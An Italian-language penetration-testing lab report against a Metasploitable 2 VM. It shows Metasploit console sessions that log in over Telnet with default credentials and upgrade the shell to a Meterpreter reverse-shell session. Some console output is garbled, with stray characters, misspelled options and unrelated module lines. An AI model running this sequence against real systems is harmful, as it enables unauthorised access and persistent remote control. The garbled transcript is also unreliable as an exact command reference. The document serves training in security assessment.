

Report Tecnico: Analisi, Exploit e Post-Exploitation del Servizio Telnet

1. Introduzione

Il presente documento descrive le attività di penetration testing condotte contro l'host target **Metasploitable 2** (**192.168.1.149**). L'obiettivo dell'esercitazione è analizzare le vulnerabilità del protocollo Telnet, ottenere l'accesso tramite credenziali note e procedere all'upgrade della sessione per massimizzare il controllo sul sistema.

Come preparazione per l'esercizio, apriamo **Metasploit** eseguendo il comando `msfconsole`

2. Fase 1: Scansione e Fingerprinting

La fase di ricognizione è fondamentale per identificare la superficie di attacco e i servizi attivi sul target.

- **Scansione di Rete:** Utilizzando lo strumento `nmap -sV`, è stata identificata la porta `23/tcp` come aperta, confermando la presenza del servizio `Linux telnetd`.

- **Identificazione della Versione:** Per approfondire l'analisi, è stato caricato il modulo Metasploit `auxiliary/scanner/telnet/telnet_version`.

```
Session Actions Edit View Help
B3 exploit/linux/generic/reverse_shell_privesc 2018-11-05 great Yes VvO [-] kali@kali:~-
5 retriggered by user
  post/windows/gather/credentials/mimikatz
  post/windows/gather/credentials/mimikatz
dohs Gethash @m0r3n Saved Password Extraction

Interact with a module by name or index. For example info 04, use 04 or use post/windows/gather/credentials/mimikatz

msf > use 77
[*]选用 auxiliary/scanner/telnet/telnet_version* options

Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
PASSWORD msfadmin no The password for the specified username
RHOSTS yes The target Host(s), see https://docs.metasploit.com/docs/using-metasploit/basic-tutorial.html
REPORT 23 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 300 yes The timeout for each probe
USERNAME msfadmin no The username to authenticate as

View the full module info with the info or info -d command.

msf auxiliary/scanner/telnet/telnet_version* > set RHOSTS 192.168.1.149
[*] Set RHOSTS: 192.168.1.149

msf auxiliary/scanner/telnet/telnet_version* > set USERNAME msfadmin
[*] Set USERNAME: msfadmin

msf auxiliary/scanner/telnet/telnet_version* > set PASSWORD msfadmin
[*] Set PASSWORD: msfadmin

msf auxiliary/scanner/telnet/telnet_version* > set STOP_ON_SUCCESS true
[*] Unknown datatopre option: STOP_ON_SUCCESS

msf auxiliary/scanner/telnet/telnet_version* > show options

Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
PASSWORD msfadmin no The password for the specified username
RHOSTS 192.168.1.149 yes The target Host(s), see https://docs.metasploit.com/docs/using-metasploit/basic-tutorial.html
REPORT 23 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 300 yes The timeout for each probe
USERNAME msfadmin no The username to authenticate as

View the full module info with the info or info -d command.

msf auxiliary/scanner/telnet/telnet_version* |
```

- **Analisi dell'Output:** L'esecuzione del comando `run` ha permesso di catturare il banner del servizio.

3. Fase 2: Autenticazione e Creazione della Sessione

Una volta confermata l'accessibilità del servizio, si è proceduto al tentativo di login sfruttando le credenziali di sistema predefinite.

- **Configurazione Modulo:** È stato selezionato il modulo `auxiliary/scanner/telnet/telnet_login`. Tramite il comando `show options`, sono stati impostati i parametri necessari:
 - **RHOSTS:** Indirizzo IP del target (`192.168.1.149`).
 - **USERNAME e PASSWORD:** Inserite le credenziali note `msfadmin`.
 - **STOP_ON_SUCCESS:** Impostato su `true` per arrestare modulo una volta stabilita la connessione.

```

msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > options
Module options (auxiliary/scanner/telnet/telnet_login):
Name          Current Setting  Required  Description
----          -----          -----  -----
ANONYMOUS_LOGIN    false        yes      Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no       Try blank passwords for all users
BRUTEFORCE_SPEED  5           yes      How fast to bruteforce, from 0 to 5
CREATE_DB         true        no       Create a database if no successful login
DB_ALL_CREDITS   false        no       Try each user/password couple stored in the current database
DB_ALL_PASS      false        no       Add all passwords in the current database to the list
DB_ALL_USERS     false        no       Add all users in the current database to the list
DB_SKIP_EXISTING none        no       Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         msfadmin    no       A specific password to authenticate with
PASS_FILE        -           no       File containing passwords, one per line
RHOSTS          192.168.1.149 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
REPORT           23          yes      The target port (TCP)
STOP_ON_SUCCESS  true        yes      Stop guessing when a credential works for a host
THREADS          1           yes      The number of concurrent threads (max one per host)
USERNAME         msfadmin    no       A specific user to authenticate as
USERPASS_FILE    -           no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS    false        no       Try the username as the password for all users
USER_FILE        -           no       File containing usernames, one per line
VERBOSE          true        yes     Whether to print output for all attempts

View the full module info with the info, or info -d command.
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.149:23  - No active DB -- Credential data will not be saved!
[*] 192.168.1.149:23  - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23  - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.150:39779 → 192.168.1.149:23) at 2026-01-20 09:47:11 -0500
[*] 192.168.1.149:23  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >

```

- **Ottenimento della Shell:** Il modulo ha verificato correttamente le credenziali, avviando una sessione di comando interattiva (Command Shell session 1).
-

4. Fase 3: Gestione delle Sessioni

In questa fase è stata verificata la stabilità della connessione e l'identità dell'utente sul sistema remoto.

- **Elenco Sessioni:** Utilizzando il comando `sessions -1`, è stata confermata l'apertura di una shell di tipo `telnet`.
- **Interazione:** Tramite `sessions -i 1`, è stata avviata l'interazione con il target. Il comando `uname -a` ha confermato i dettagli del sistema operativo Linux Metasploitable.

```

msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.149:23  - No active DB -- Credential data will not be saved!
[*] 192.168.1.149:23  - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23  - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.150:39779 → 192.168.1.149:23) at 2026-01-20 09:47:11 -0500
[*] 192.168.1.149:23  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
=====

```

ID	Name	Type	Information	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.1.149:23)	192.168.1.150:39779 → 192.168.1.149:23 (192.168.1.149)

```

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ 

```

5. Fase 4: Upgrade a Meterpreter

Per ottenere funzionalità di post-exploitation avanzate, la shell standard è stata convertita in una sessione Meterpreter.

- **Backgrounding:** La sessione attiva è stata messa in pausa con **Ctrl+Z** per tornare al prompt di Metasploit.
- **Upgrade del Payload:** È stato utilizzato il modulo `post/multi/manage/shell_to_meterpreter`.
- **Esecuzione:** Dopo aver impostato l'ID della sessione (`set SESSION 1`), il modulo ha inviato lo stage Meterpreter al target.
- **Verifica Finale:** Un controllo finale con `sessions -l` ha mostrato la nuova sessione `meterpreter x86/linux` attiva e pronta all'uso.

```
msfadmin@metasploitable:~$ uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary/scanner/telnet/etnet_login > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.150:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.150:4433 -> 192.168.1.149:43487) at 2026-01-20 09:50:45 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
=====
Id  Name      Type      Information                                     Connection
--  --        --        --                                           --
1   shell      TELNET msfadmin:msfadmin (192.168.1.149:23)  192.168.1.150:39779 -> 192.168.1.149:23 (192.168.1.149)
2   meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.1.150:4433 -> 192.168.1.149:43487 (192.168.1.149)
msf post(multi/manage/shell_to_meterpreter) > |
```

Da qui sarà possibile ottenere i permessi di **root** attraverso vari **exploit**, ma lo vedremo nella prossima puntata.

6. Conclusioni

L'esercitazione ha dimostrato come l'uso di protocolli non cifrati e l'omissione del cambio delle credenziali di default espongano il sistema a rischi critici. Il successo dell'upgrade a Meterpreter evidenzia come un attaccante possa rapidamente passare da un accesso limitato a una compromissione totale della macchina.